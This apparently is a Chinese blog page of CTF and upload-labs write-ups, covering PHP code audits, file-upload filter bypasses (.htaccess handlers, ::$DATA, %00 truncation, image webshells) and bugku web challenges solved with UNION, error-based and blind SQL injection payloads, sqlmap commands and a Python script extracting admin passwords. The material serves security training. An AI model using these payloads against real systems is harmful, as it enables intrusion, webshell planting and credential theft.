giun

  • 首页

  • 关于

  • 标签

  • 分类

  • 归档

ereg正则截断

发表于 2019-05-01 | 分类于 代码审计(基础篇)
<?php 

$flag = "flag";

if (isset ($_GET['password'])) 
{
  if (ereg ("^[a-zA-Z0-9]+$", $_GET['password']) === FALSE)
  {
    echo '<p>You password must be alphanumeric</p>';
  }
  else if (strlen($_GET['password']) < 8 && $_GET['password'] > 9999999)
   {
     if (strpos ($_GET['password'], '*-*') !== FALSE) //strpos — 查找字符串首次出现的位置
      {
      die('Flag: ' . $flag);
      }
      else
      {
        echo('<p>*-* have not been found</p>'); 
       }
      }
     else 
     {
        echo '<p>Invalid password</p>'; 
      }
   } 
?>

审计上面代码可以发现
要想的到flag必须满足一下3个条件
1、必须是数字、字母组成的密码
2、密码的长度小于8,却必须要大于9999999
3、密码必须包含—

对于第二个条件,使用科学计数法绕过
对于第三个条件,由于ereg()函数存在NULL截断漏洞,所以可以用%00(空字符)来截断正则匹配。那么我们就可以绕过第3个条件了
那么我们就可以构造出payload为1e8%00*—*

SQL注入_WITH ROLLUP绕过

发表于 2019-05-01 | 分类于 代码审计(基础篇)

题目地址
http://ctf5.shiyanbar.com/web/pcat/index.php

<?php
    error_reporting(0);

    if (!isset($_POST['uname']) || !isset($_POST['pwd'])) {
        echo '<form action="" method="post">'."<br/>";
        echo '<input name="uname" type="text"/>'."<br/>";
        echo '<input name="pwd" type="text"/>'."<br/>";
        echo '<input type="submit" />'."<br/>";
        echo '</form>'."<br/>";
        echo '<!--source: source.txt-->'."<br/>";
        die;
    }

    function AttackFilter($StrKey,$StrValue,$ArrReq){  
        if (is_array($StrValue)){

    //检测变量是否是数组

            $StrValue=implode($StrValue);

    //返回由数组元素组合成的字符串

        }
        if (preg_match("/".$ArrReq."/is",$StrValue)==1){   

    //匹配成功一次后就会停止匹配

            print "水可载舟,亦可赛艇!";
            exit();
        }
    }

    $filter = "and|select|from|where|union|join|sleep|benchmark|,|\(|\)";
    foreach($_POST as $key=>$value){ 

    //遍历数组

        AttackFilter($key,$value,$filter);
    }

    $con = mysql_connect("XXXXXX","XXXXXX","XXXXXX");
    if (!$con){
        die('Could not connect: ' . mysql_error());
    }
    $db="XXXXXX";
    mysql_select_db($db, $con);

    //设置活动的 MySQL 数据库

    $sql="SELECT * FROM interest WHERE uname = '{$_POST['uname']}'";
    $query = mysql_query($sql); 

    //执行一条 MySQL 查询

    if (mysql_num_rows($query) == 1) { 

    //返回结果集中行的数目

        $key = mysql_fetch_array($query);

    //返回根据从结果集取得的行生成的数组,如果没有更多行则返回 false

        if($key['pwd'] == $_POST['pwd']) {
            print "CTF{XXXXXX}";
        }else{
            print "亦可赛艇!";
        }
    }else{
        print "一颗赛艇!";
    }
    mysql_close($con);
    ?>

审计代码寻找有用部分

if (mysql_num_rows($query) == 1) { 

 //返回结果集中行的数目

     $key = mysql_fetch_array($query);

 //返回根据从结果集取得的行生成的数组,如果没有更多行则返回 false

     if($key['pwd'] == $_POST['pwd']) {
         print "CTF{XXXXXX}";

注入成功要满足2个条件:

  1. mysql_num_rows($query) == 1 即查询返回的结果行数为1

  2. $key[‘pwd’] == $_POST[‘pwd’] 即查询返回的结果与POST发送的pwd值相同

从源代码得出,注入点在uname这个位置上,$filter没有过滤掉 or

$sql=”SELECT * FROM interest WHERE uname = ‘{$_POST[‘uname’]}’”;

$filter = "and|select|from|where|union|join|sleep|benchmark|,|\(|\)";

对and等等进行过滤。
那么如果只让其对返回结果只取最后一行呢,自然而然的想到limit a,b这样的命令。但是“,”被过滤了。那么我们可以使用 limit a offset b

SQL查询语句中的 limit 与 offset 的区别:

limit y 分句表示: 读取 y 条数据 //limit 10,就是 从第0个开始,获取10条数据

limit x, y 分句表示: 跳过 x 条数据,读取 y 条数据 //limit 1,2 就是读取2-3条数据

limit y offset x 分句表示: 跳过 x 条数据,读取 y 条数据 //limit 2 offest 1 就是读取2-3条数据

注意初始偏移量为0

payload如下

uname=' || 1 group by pwd with rollup limit 1 offset 2 #

// uname=’ or 1 group by pwd with rollup limit 1 offset 2#

‘是对前面的’的封闭,然后利用||1将这个条件变成true,即可得出flag,

(group by是把前面的查询的内容按照pwd来分组。with rollup是统计信息的这里就是重点了,因为代码中$key[‘pwd’] == $_POST[‘pwd’]用的是双等号是弱比较。而with rollup会在查询的结果后面加上一个为空的列,所以password为空和NULL是相等的就绕过了pwd的比较)

至于为啥offset 2,这个是试出来的,其实我们根本不可能知道with rollup会总结归纳出多少条信息,offset 2能过说明正确的pwd位于第三条信息

这里要注意一点,当使用rollup的时候就不能使用order by进行排序,换句话说 rollup和order by是相互排斥的。

多重加密

发表于 2019-05-01 | 分类于 代码审计(基础篇)
<?php
    include 'common.php';
    $requset = array_merge($_GET, $_POST, $_SESSION, $_COOKIE);
    //把一个或多个数组合并为一个数组
    class db
    {
        public $where;
        function __wakeup()
        {
            if(!empty($this->where))
            {
                $this->select($this->where);
            }
        }
        function select($where)
        {
            $sql = mysql_query('select * from user where '.$where);
            //函数执行一条 MySQL 查询。
            return @mysql_fetch_array($sql);
            //从结果集中取得一行作为关联数组,或数字数组,或二者兼有返回根据从结果集取得的行生成的数组,如果没有更多行则返回 false
        }
    }

    if(isset($requset['token']))
    //测试变量是否已经配置。若变量已存在则返回 true 值。其它情形返回 false 值。
    {
        $login = unserialize(gzuncompress(base64_decode($requset['token'])));
        //gzuncompress:进行字符串压缩
        //unserialize: 将已序列化的字符串还原回 PHP 的值

        $db = new db();
        $row = $db->select('user=\''.mysql_real_escape_string($login['user']).'\'');
        //mysql_real_escape_string() 函数转义 SQL 语句中使用的字符串中的特殊字符。

        if($login['user'] === 'ichunqiu')
        {
            echo $flag;
        }else if($row['pass'] !== $login['pass']){
            echo 'unserialize injection!!';
        }else{
            echo "(╯‵□′)╯︵┴─┴ ";
        }
    }else{
        header('Location: index.php?error=1');
    }

?> 

阅读代码寻找有用的代码段

if($login['user'] === 'ichunqiu')
        {
            echo $flag;

发现login[user]要求=ichunqiu,才能输出flag。但是

$login = unserialize(gzuncompress(base64_decode($requset['token'])));
//先对token进行base-64解密,然后再进行解压gzuncompress字符串,最后在反序列化

那么我们就要在cookie中给token一个参数,先是创建一个数组并给其中的user键赋值为ichunqiu先序列化,然后压缩字符串(gzcompress方法),最后再base-64加密
写成php代码如下()

<?php 
$a = array('user'=>'ichunqiu');
$b = base64_encode(gzcompress(serialize($a)));
echo $b
?>

可以输出在这里插入图片描述

然后抓包,在cookie中添加 taken参数,其值为截图中的内容即可得出flag

绕过过滤的空白字符

发表于 2019-04-08 | 分类于 代码审计(基础篇)

<?php

$info = ""; 
$req = [];
$flag="xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx";

ini_set("display_error", false); //为一个配置选项设置值
error_reporting(0); //关闭所有PHP错误报告

if(!isset($_GET['number'])){
   header("hint:26966dc52e85af40f59b4fe73d8c323a.txt"); //HTTP头显示hint 26966dc52e85af40f59b4fe73d8c323a.txt

   die("have a fun!!"); //die — 等同于 exit()

}

foreach([$_GET, $_POST] as $global_var) {  //foreach 语法结构提供了遍历数组的简单方式 
    foreach($global_var as $key => $value) { 
        $value = trim($value);  //trim — 去除字符串首尾处的空白字符(或者其他字符)
        is_string($value) && $req[$key] = addslashes($value); // is_string — 检测变量是否是字符串,addslashes — 使用反斜线引用字符串
    } 
} 

​
function is_palindrome_number($number) {
$number = strval($number); //strval — 获取变量的字符串值
$i = 0;
$j = strlen($number) - 1; //strlen — 获取字符串长度
while($i < $j) {
if($number[$i] !== $number[$j]) {
return false;
}
$i++;
$j–;
}
return true;
}

​
if(is_numeric($_REQUEST[‘number’])) //is_numeric — 检测变量是否为数字或数字字符串
{

   $info="sorry, you cann't input a number!";

}
elseif($req['number']!=strval(intval($req['number']))) //intval — 获取变量的整数值
{

     $info = "number must be equal to it's integer!! ";  

}
else
{

     $value1 = intval($req["number"]);
     $value2 = intval(strrev($req["number"]));  

     if($value1!=$value2){
          $info="no, this is not a palindrome number!";
     }
     else
     {

          if(is_palindrome_number($req["number"])){
              $info = "nice! {$value1} is a palindrome number!"; 
          }
          else
          {
             $info=$flag;
          }
     }

}

echo $info;

审计代码可以发现,number必须符合下面3个条件才可以输出flag
1.不为空,且不能是一个数值型数字,包括小数。(由is_numeric函数判断)
2.不能是一个回文数。(is_palindrome_number判断)
3.该数的反转的整数值应该和它本身的整数值相等;即

intval($req["number"])=intval(strrev($req["number"]))

但是2和3又冲突,这该怎么办

方法一

我们构造的payload为:

?number=%002147483647

解释下为什么可以这么构造;
1、is_numeric函数对于空字符%00判断为非数值,绕过第一个条件。
函数判断为非数值,但又不影响它值的构造,理所当然想到空格字符%20和空字符%00。

2、2147483647不是一个回文数绕过第二个条件。

3、这里利用了intval函数的溢出问题。
Intval最大的值取决于操作系统。 32 位系统最大带符号的 integer 范围是 -2147483648 到 2147483647。举例,在这样的系统上, intval(‘1000000000000’) 会返回 2147483647。64 位系统上,最大带符号的 integer 值是 9223372036854775807。
至于服务器是什么系统的可以用burp抓包分析出来为32位

$value1 = intval($req["number"]);
$value2 = intval(strrev($req["number"]));  

我们构造的2147483647经过strrev反转函数后为7463847412,又经过intval函数值又变为2147483647。
故满足条件3,可以输出flag

方法二

因为要求不能为回文数,但又要满足intval($req["number"])=intval(strrev($req["number"])),所以我们采用科学计数法构造payload为number=0e-0%00,这样的话我们就可以绕过。

xey在php中就是x*10的y次方

注意
is_numeric函数对于空字符%00,无论是%00放在前后都可以判断为非数值,而%20空格字符只能放在数值后

方法三

is_numeric函数在开始判断前,会先跳过所有空白字符可是题目获取$req[‘number’]的时候明明使用trim过滤了空白字符这时候我们可以引入\f(也就是%0c)在数字前面,来绕过最后那个is_palindrome_number函数,而对于前面的数字判断,因为intval和is_numeric都会忽略这个字符,所以不会影响。
所以我们构造payload=URL?%00%0c191即可绕过上面的条件获得flag

upload-labs 1-17

发表于 2019-04-08 | 分类于 web

一、pass01

1、首先我们尝试下上传一个php文件,发现文件类型被限制了
在这里插入图片描述
我们查看下源码
在这里插入图片描述
发现是使用js代码对文件类型进行限制。
那么我们使用火狐浏览器的插件Noscript,打开这个插件即可禁用掉js代码,然后成功上传PHP,文件。
2、当然这个太麻烦了,我们可以直接删除这个坚持文件格式的函数即可。
在这里插入图片描述
3、我们上传个正常的图片,图片的路径:http://127.0.0.1/upload-lab/upload/1.jpg
查看图片路径发现文件名没被修改,那么我们可以使用抓包,修改文件名类型,把php文件改为jpg文件,然后通过抓包再改为PHP文件。
在这里插入图片描述

二、pass02

使用第一题中的第三种方法即可。查看提示
在这里插入图片描述
mime的意思就是文件的后缀名

三、pass03

发现第二题的方法已经失效了,
我们查看下源码。

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array('.asp','.aspx','.php','.jsp');
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');//查找字符在指定字符串中从左边开始的最后一次出现的位置,如果成功,返回该字符以及其后面的字符
        $file_ext = strtolower($file_ext); //转换为小写,就可以防止大小写逃逸了
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //收尾去空

        if(!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;            
            if (move_uploaded_file($temp_file,$img_path)) {
                 $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '不允许上传.asp,.aspx,.php,.jsp后缀文件!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}

可以看到代码使用黑名单来过滤,php的话有时候(配置的原因)php、php3、php4、php5、phtml、pht这些后缀也是可以被解析的,其他语言也有类似的情况,需要尝试:

在这里插入图片描述
由于我这里使用的是phpstudy+windows,由于配置原因是解析不了php3等等这些后缀的

四、pass04

第四题直接进制常见的.asp|.aspx|.php|.jsp等常见后缀文件,但是又一种文件格式没禁用,那就是
.htaccess

启用.htaccess,需要修改httpd.conf,启用AllowOverride(将该值改为all),并可以用AllowOverride限制特定命令的使用。如果需要使用.htaccess以外的其他文件名,可以用AccessFileName指令来改变。例如,需要使用.config ,则可以在服务器配置文件中按以下方法配置:AccessFileName .config 。

然后先上传,htaccess文件,文件内容如下

<FilesMatch "2.jpg">
SetHandler application/x-httpd-php
</FilesMatch>

.htaccess文件的内容的意思是 对2.jpg使用php重新解析
然后再上传jpg脚本,

在这里插入图片描述

五、pass05

观察源码我们可以发现,本题把.htaccess文件也禁用了。但是认真对比与第四题的代码,本题去掉了大小写绕过的逃逸。
在这里插入图片描述

六、pass06

对比第五题的源码可以发现,本题源码少了

$file_ext = trim($file_ext); //首尾去空,那么我们可以上传PHP文件,然后使用burp suit抓包修改后缀名格式为php加空格。

在这里插入图片描述
但返回题目提示文件不允许上传,不慌
观察抓包的文件,其实文件已经上传,路径在抓包里有
在这里插入图片描述

在这里插入图片描述

七、pass07

与第六题源码对比,发现少了$file_name = deldot($file_name);//删除文件名末尾的点这句代码。
那么我们就可以。
那么在文件名末尾加个点号就可以了,参考第6题

八、pass08

比第七题少了$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA

在php+windows的情况下:如果文件名+"::$DATA"会把::$DATA之后的数据当成文件流处理,不会检测后缀名.且保持"::$DATA"之前的文件名。

参考第6题
在这里插入图片描述

九、pass09

这一关是上面几关的综合,但是他有个逻辑漏洞
程序先是去除文件名前后的空格,再去除文件名最后所有的.,再通过strrchar来寻找.来确认文件名的后缀,但是最后保存文件的时候没有重命名而使用的原始的文件名,导致可以利用类似one.php. .(两个点号之间有一个空格)绕过,这有点像sql注入中的re_place只过滤一次关键字。
操作与第6题类似.

十、pass10

上传php文件发现,文件后缀名没掉了。上传jpg文件一切正常。怀疑是绕过
观察下源码

$deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");

        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = str_ireplace($deny_ext,"", $file_name);

由这3句可以看出,部分文件1后缀名被替换成了空格
那么我们抓包,该后缀名,双写绕过。
在这里插入图片描述

十一、pass11

关键的代码在于这里的’save_path’是一个可控的变量,但是后面还拼接上一个后缀名,也需要绕过

$img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;

这个时候可以使用%00截断,但这东西有点过气了,因为需要两个条件
php版本小于5.3.4
php的magic_quotes_gpc为OFF状态
如果要完成这一个题目就必须要实现上面的两个条件,但是现在都PHP7了,这东西也就很少见了,满足上面的条件的时候php就是把它当成结束符,后面的数据直接忽略,这也导致了很多的问题,文件包含也可以利用这一点
在这里插入图片描述
所以如果要绕过,我们可以这样去实现,另save_path等于下面的值

../upload/4.php%00
1

十二、pass12

这里的源代码就改了一点点,就是把get改为post类型,一样的方式绕过,只不过这里需要在二进制里面修改%00,因为post不会像get对%00进行自动解码。

$img_path = $_POST['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;

在这里插入图片描述

十三、pass13

观察源码可以发现只对文件的头2个字节做检测

$bin = fread($file, 2); //只读2字节
   fclose($file);

制作木马图片,然后上传即可,上传图片后利用就要结和文件包含漏洞了。

制作木马图片最简单的方式

copy 1.jpg /b + 1l.php /a 1.jpg

十四、pass14

是这里用getimagesize获取文件类型,还是直接就可以利用图片马就可进行绕过:
介绍下getimagesize

array getimagesize ( string $filename [, array &$imageinfo ] )
getimagesize() 函数将测定任何 GIF,JPG,PNG,SWF,SWC,PSD,TIFF,BMP,IFF,JP2,JPX,JB2,JPC,XBM 或 WBMP 图像文件的大小并返回图像的尺寸以及文件类型和一个可以用于普通 HTML 文件中 IMG 标记中的 height/width 文本字符串。
如果不能访问 filename 指定的图像或者其不是有效的图像,getimagesize() 将返回 FALSE 并产生一条 E_WARNING 级的错误。

十五、pass15

这里用到php_exif模块来判断文件类型,还是直接就可以利用图片马就可进行绕过:
在这里插入图片描述

十六、pass16

imagecreatefrom 系列函数用于从文件或 URL 载入一幅图像,成功返回图像资源,失败则返回一个空字符串。
该系列函数有:
imagecreatefromgif():创建一块画布,并从 GIF 文件或 URL 地址载入一副图像
imagecreatefromjpeg():创建一块画布,并从 JPEG 文件或 URL 地址载入一副图像
imagecreatefrompng():创建一块画布,并从 PNG 文件或 URL 地址载入一副图像
imagecreatefromwbmp():创建一块画布,并从 WBMP 文件或 URL 地址载入一副图像
imagecreatefromstring():创建一块画布,并从字符串中的图像流新建一副图像

这一关对后缀名和文件类型啥的都进行了很严格的控制,而且在后面还对图片进行了二次编译
这一个题目的思路,寻找图片被渲染后与原始图片部分对比仍然相同的数据块部分,将Webshell代码插在该部分,然后上传,下载下来后发现这一部分插入代码的没变但是其他部分都变了。其他部分与13题一样

十七、pass17

参考这篇博客http://www.cnblogs.com/jinqi520/p/9977256.html

bugku 38-48 writeup(web)

发表于 2019-04-08 | 分类于 bugkuCTF

一、第38题(这是一个神奇的登陆框)

方法一
首先我们抓包,
经过一些尝试发现存在sql注入,并且sql语句是使用“来闭合的。
爆数据库

admin_name=1" union select database(),2#&admin_passwd=1&submit=GO+GO+GO

在这里插入图片描述
爆数据表

admin_name=1" union select (select table_name from information_schema.tables where table_schema=database() limit 0,1),2%23&admin_passwd=1&submit=GO+GO+GO

在这里插入图片描述
爆字段名

admin_name=1" union select (select column_name from information_schema.columns where table_name='flag1'),2%23&admin_passwd=1&submit=GO+GO+GO

在这里插入图片描述
爆数据

admin_name=1" union select (select flag1 from flag1),2%23&admin_passwd=1&submit=GO+GO+GO

在这里插入图片描述
方法二
将抓到的报保存为.txt文件放在sqlmap的安装目录下。
爆数据库

python2 sqlmap.py -r "3.txt" -p admin_name --dbs

在这里插入图片描述
爆表

python2 sqlmap.py -r "3.txt" -D bugkusql1 -p admin_name --tables

在这里插入图片描述
爆字段名
在这里插入图片描述
爆数据

python2 sqlmap.py -r "3.txt" -D bugkusql1 -T flag1 -C flag1 -p admin_name --dump

在这里插入图片描述
以上2种方法均是对admin_name进行注入,当然也可以对admin_passwd进行注入

二、第39题(多次)

尝试id=1',发现报错,
尝试id=1' --+发现没有报错
说明存在sql注入

尝试id=1' or --+报错,
说明存在某种过滤
尝试id=1' oorr --+发现没有报错

在这里我们可以使用异或注入来检查哪些字符被过滤
这时我们可以用异或注入来检测,异或即两个条件相同(同真或同假)即为假

http://123.206.87.240:9004/1ndex.php?id=1'^(length('or')!=0)--+

当length()里的字符被过滤时,就输出there is nothing.
经过一些尝试可以知道
and or select union被绕过

开始爆数据库

http://123.206.87.240:9004/1ndex.php?id=-1'  uniunionon seselectlect 1,database()--+

可以爆出数据库为
在这里插入图片描述
爆表

http://123.206.87.240:9004/1ndex.php?id=-1' ununionion seselectlect
1,group_concat(table_name) from infoorrmation_schema.tables 
where table_schema="web1002-1"--+

在这里插入图片描述

爆字段

http://123.206.87.240:9004/1ndex.php?id=-1'  uniunionon seselectlect 1,group_concat(column_name) from infoorrmation_schema.columns where table_name="flag1"--+

在这里插入图片描述
爆数据

http://123.206.87.240:9004/1ndex.php?id=-1'  uniunionon seselectlect 1,flag1 from flag--+

在这里插入图片描述
提交flag 发现是假的flag,那么我们爆另一个字段
在这里插入图片描述
使用上面的方法,经过尝试发现我们注入的代码会在IP处不解析的输出
在这里插入图片描述
那么我们尝试下报错注入
爆数据库

http://123.206.87.240:9004/Once_More.php?id=1' and
(extractvalue(1,concat(0x7e,database(),0x7e)))--+

在这里插入图片描述
爆数据表
http://123.206.87.240:9004/Once_More.php?id=1' and
(extractvalue(1,concat(0x7e,
(select group_concat(column_name) from information_schema.columns
where table_schema=”web1002-2”),0x7e)))–+
在这里插入图片描述
爆字段(其实我们可以猜测字段名为flag2)

http://123.206.87.240:9004/Once_More.php?id=1' and 
(extractvalue(1,concat(0x7e,
(select group_concat(column_name) from information_schema.columns 
where table_schema="web1002-2" and table_name="flag2"),0x7e)))--+

爆flag

http://123.206.87.240:9004/Once_More.php?id=1' and 
(extractvalue(1,concat(0x7e,
(select group_concat(flag2) from flag2),0x7e)))--+

在这里插入图片描述

三、第40题(PHP_encrypt_1)

题目给出了压缩包,下载打开,发现是某种加密方式,需要我们阅读代码,写出解密代码

<?php
function encrypt($data,$key)
{
    $key = md5('ISCC');
    $x = 0;
    $len = strlen($data);
    $klen = strlen($key);
    for ($i=0; $i < $len; $i++) { 
        if ($x == $klen)
        {
            $x = 0;
        }
        $char .= $key[$x];
        $x+=1;
    }
    for ($i=0; $i < $len; $i++) {
        $str .= chr((ord($data[$i]) + ord($char[$i])) % 128);
    }
    return base64_encode($str);
}
?>

参考网上的大佬写的代码,该题涉及密码学,逆向,web

<?php
function decrypt($str) {
    $mkey = "729623334f0aa2784a1599fd374c120d";
    $klen = strlen($mkey);
    $tmp = $str;
    $tmp = base64_decode($tmp);  // 对 base64 后的字符串 decode
    $md_len = strlen($tmp); //获取字符串长度
    for ($i=0; $i < $md_len; $i++) {  //  取二次加密用 key;
        if ($x == $klen)  // 数据长度是否超过 key 长度检测
            $x = 0;
        $char .= $mkey[$x];  // 从 key 中取二次加密用 key
        $x+=1;
    }
    $md_data = array();
    for($i=0;$i<$md_len;$i++) { // 取偏移后密文数据
        array_push($md_data, ord($tmp[$i]));
    }
    $md_data_source = array();
    $data1 = "";
    $data2 = "";
    foreach ($md_data as $key => $value) { // 对偏移后的密文数据进行还原
        $i = $key;
        if($i >= strlen($mkey)) {$i = $i - strlen($mkey);}
        $dd = $value;
        $od = ord($mkey[$i]);
        array_push($md_data_source,$dd);
        $data1 .= chr(($dd+128)-$od);  // 第一种可能, 余数+128-key 为回归数
        $data2 .= chr($dd-$od);  // 第二种可能, 余数直接-key 为回归数
    }
    print "data1 => ".$data1."<br>\n";
    print "data2 => ".$data2."<br>\n";
}
$str = "fR4aHWwuFCYYVydFRxMqHhhCKBseH1dbFygrRxIWJ1UYFhotFjA=";
decrypt($str);
?>

四、第41题(文件包含2)

由于无法打卡该题目网站,本题略

四、第42题(文件包含2)

这题考的是代码审计
首先,我们提交login发现没反应,题目提示hint那么我们传入?hint=1试试,发现

 <?php
error_reporting(0);
include_once("flag.php");
$cookie = $_COOKIE['ISecer'];
if(isset($_GET['hint'])){
    show_source(__FILE__);
}
elseif (unserialize($cookie) === "$KEY")
{   
    echo "$flag";
}
else {
?>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>Login</title>
<link rel="stylesheet" href="admin.css" type="text/css">
</head>
<body>
<br>
<div class="container" align="center">
  <form method="POST" action="#">
    <p><input name="user" type="text" placeholder="Username"></p>
    <p><input name="password" type="password" placeholder="Password"></p>
    <p><input value="Login" type="button"/></p>
  </form>
</div>
</body>
</html>

<?php
}
$KEY='ISecer:www.isecer.com';
?> 

然后开始审计代码发现,
这是个php反序列。

$cookie = $_COOKIE['ISecer'];

代码逻辑就是,传入一个cookie:ISecer,如果ISecer反序列化的结果和KEY相等,就弹出flag。
也就是cookie的参数的值必须为$kEY的值的序列化。
注意$key的值在调用的时候还没有被定义
构造序列化字符串

<?php
echo serialize('');
?>

输出s:0:’’

然后我们抓包将Cookie的值改为ISecer=s:0:’’,即可得出flag
在这里插入图片描述

五、第43题(sql2)

该题为post型的sql注入,尝试了各种sql注入发现都被过滤了,当时那个绝望呀。
去看别人博客提示说是DS_Store源码泄露,然后就需要用到python脚本来跑一下了,发现了flag目录,直接访问,然后就得到了flag。
在这里插入图片描述
DS_Store下载地址:https://github.com/lijiejie/ds_store_exp

我们了解下什么是DS_Store源码泄露

六、第45题(Trim的日记本)

登入,额发现题目的出了点问题,不够不影响我们解题,扫描
在这里插入图片描述
登录http://123.206.87.240:9002/show.php
在这里插入图片描述
提交flag竟然是真的。

七、第46题(login2)

第一步抓包
在这里插入图片描述
可以发现这边有一堆base64加密的编码
解密

$sql="SELECT username,password FROM admin WHERE username='".$username."'";
if (!empty($row) && $row['password']===md5($password)){

这段代码的意思大概就是,通过输入不存在用户,用union select 构造出指定密码的md5值,即可登入成功
username=1’ union select 1,md5(1)#&password=1
在这里插入图片描述

在这里插入图片描述

八、第47题(login3)

我们先尝试下账号admin密码pass,发现返回密码错误。
账号admin’,密码pass发现
在这里插入图片描述
说明本题应该使用布尔盲注
再构造语句,进行几次的基于bool盲注的注入,查看一下有没有绕过一些特殊的语句

username=’^(1)^1#&password=123
在测试过程中,发现过滤了 ‘空格’ 以及 ’=‘ ,则空格可以使用 () 代替,=可以使用 <> 代替,还有and information。
那么我们应该想到使用脚本,毕竟手动盲注什么时候是个头,然后将得到的密码MD5解密
附上脚本代码

import requests
guess = "1234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ {}+-*/="
url = "http://123.206.31.85:49167/"
database=""
for i in range(0,35):
    for j in guess:
        # uname = "admin'^(ascii(mid(database()from(%i)))<>%s)^0#"%(i,ord(j))
        uname = "admin'^(ascii(mid((select(password)from(admin))from(%i)))<>%s)^0#"%(i,ord(j))
        data = {
            "username":uname,
            "password":"123"
        }
        res = requests.post(url=url,data=data).text
        if "password error" in res:
            database += j
            print(database)
            break

大家也可以参考下这篇文章https://blog.csdn.net/qq_42133828/article/details/86815663

九、第48题(login4)

经过尝试发现题目说只有admin可以看到flag又说admin不允许登录
参考这篇文章
https://blog.csdn.net/csu_vc/article/details/79619309

十、文件上传2(湘桥杯)

不知道为什么进不了题目
大家可以参考下这篇文章
https://www.jianshu.com/p/59730b290120

十一、秋名山老司机

直接用python脚本即可得出flag

#coding:utf-8
import requests
import re
url = "http://123.206.87.240:8002/qiumingshan/"
res = requests.session()
s = res.get(url).text
num = re.search(r'(\d+[+\-*])+(\d+)',s).group()
result = eval(num)
data = {'value':result}
print(res.post(url=url,data=data).text)

bugku-29-36 writeup(web)

发表于 2019-04-08 | 分类于 bugkuCTF

一、第29题login1(SKCTF)

打开题目,发现是一个管理登入界面。且题目提示我们这是到sql约束攻击的题目。
那么我们先简单介绍下什么是sql约束攻击

(1)、约束SQL注入的原理就是利用的约束条件,比如最长只能有10个字符的话,如果你输入的是aaaaaaaaaabb(12位),那么保存在数据库里的就是aaaaaaaaaa(10位),那么别人用aaaaaaaaaabb注册一个用户名,就可以登陆。

(2)、还有一个可以利用的地方就是SQL在执行字符串处理的时候是会自动修剪掉尾部的空白符的,也就是说”abc”==”abc “,同样我们可以通过注册用户名为”abc “的账号来登陆”abc”的账号。

我们先注册下,账号为admin,密码随意,发现用户已经存在,那么我们使用账号为admin+一个空格,密码任意,注册,然后登入发现,成功得到flag.

二、第30题(你从哪里来)

打开题目发现,题目有一行字,你来着Google吗。
那么我们应该想到http头部的referer参数

referer参数的作用简单说就是告诉服务器我是从哪个页面链接过来的

我们抓包添加referer参数即可得到flag。
在这里插入图片描述

三、第31题(md5 collision)

打开题目,题目要求我们传输参数a,我们传入参数a的值为1,发现输错false.
那么我们考虑题目所提到的MD5碰撞,首先我们先介绍下什么是MD5碰撞

PHP在处理哈希字符串时,会利用”!=”或”==”来对哈希值进行比较,它把每一个以”0E”开头的哈希值都解释为0,所以如果两个不同的密码经过哈希以后,其哈希值都是以”0E”开头的,那么PHP将会认为他们相同,都是0。

攻击者可以利用这一漏洞,通过输入一个经过哈希后以”0E”开头的字符串,即会被PHP解释为0,如果数据库中存在这种哈希值以”0E”开头的密码的话,他就可以以这个用户的身份登录进去,尽管并没有真正的密码。

下面是常见的
0e开头的md5和原值:
0e开头的md5和原值:

s878926199a
0e545993274517709034328855841020
s155964671a
0e342768416822451524974117254469
s214587387a
0e848240448830537924465865611904
s214587387a
0e848240448830537924465865611904
s878926199a
0e545993274517709034328855841020
s1091221200a
0e940624217856561557816327384675
s1885207154a
0e509367213418206700842008763514
s1502113478a
0e861580163291561247404381396064
s1885207154a
0e509367213418206700842008763514
s1836677006a
0e481036490867661113260034900752
s155964671a
0e342768416822451524974117254469
s1184209335a
0e072485820392773389523109082030
s1665632922a
0e731198061491163073197128363787
s1502113478a
0e861580163291561247404381396064
s1836677006a
0e481036490867661113260034900752
s1091221200a
0e940624217856561557816327384675
s155964671a
0e342768416822451524974117254469
s1502113478a
0e861580163291561247404381396064
s155964671a
0e342768416822451524974117254469
s1665632922a
0e731198061491163073197128363787
s155964671a
0e342768416822451524974117254469
s1091221200a
0e940624217856561557816327384675
s1836677006a
0e481036490867661113260034900752
s1885207154a
0e509367213418206700842008763514
s532378020a
0e220463095855511507588041205815
s878926199a
0e545993274517709034328855841020
s1091221200a
0e940624217856561557816327384675
s214587387a
0e848240448830537924465865611904
s1502113478a
0e861580163291561247404381396064
s1091221200a
0e940624217856561557816327384675
s1665632922a
0e731198061491163073197128363787
s1885207154a
0e509367213418206700842008763514
s1836677006a
0e481036490867661113260034900752
s1665632922a
0e731198061491163073197128363787
s878926199a

更多的大家可以自己去百度

上面的那些0E开头的字符串都可以作为参数的值传入,如

http://123.206.87.240:9009/md5.php?a=s878926199a

在这里插入图片描述

四、第32题(程序员本地网站)

打开题目发现,题目里写着请从本地访问。
那么我们应该想到http头部的X-Forwarded-For参数

我们先介绍下X-Forwarded-For参数
X-Forwarded-For: 简称XFF头,它代表客户端,也就是HTTP的请求端真实的IP,只有在通过了HTTP 代理或者负载均衡服务器时才会添加该项。

我们抓包进行添加X-Forwarded-For参数,即可得出flag
在这里插入图片描述

五、第33题(各种绕过哟)

进入这道题我们通过阅读php代码,我们发现只要使uname的sha1和值与passwd的sha1的值相等即可,但是同时他们两个的值又不能相等,我们尝试构造数组。
成功得出flag
在这里插入图片描述

六、第34题(web8)

